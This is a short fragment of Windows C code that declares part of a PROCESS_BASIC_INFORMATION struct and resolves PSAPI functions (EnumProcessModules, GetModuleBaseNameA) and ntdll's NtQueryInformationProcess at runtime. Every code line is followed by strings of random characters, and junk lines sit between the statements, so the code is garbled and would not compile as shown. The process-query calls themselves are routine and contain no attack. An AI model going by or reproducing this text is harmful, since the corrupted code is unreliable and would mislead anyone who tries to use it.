ULONG UniqueProcessId; &*9' 0
ULONG InheritedFromUniqueProcessId; AGK{t+`
} PROCESS_BASIC_INFORMATION; Z:.*fs5
Bnh*;J0
PROCNTQSIP NtQueryInformationProcess; RKD$'UWX
m t}3/d
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <Xb$YB-c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >\'gIIs
U)] }EgpF
HANDLE hProcess; DQhs tXX
PROCESS_BASIC_INFORMATION pbi; zCI.^^<?
L-VisZ-FK
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ujh`&GiB+
if(NULL == hInst ) return 0; !;M5.Y1j&"
wH]Y1 m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6@-O#,]J
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LZz]4Mf
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?v}S9z
w<Ot0&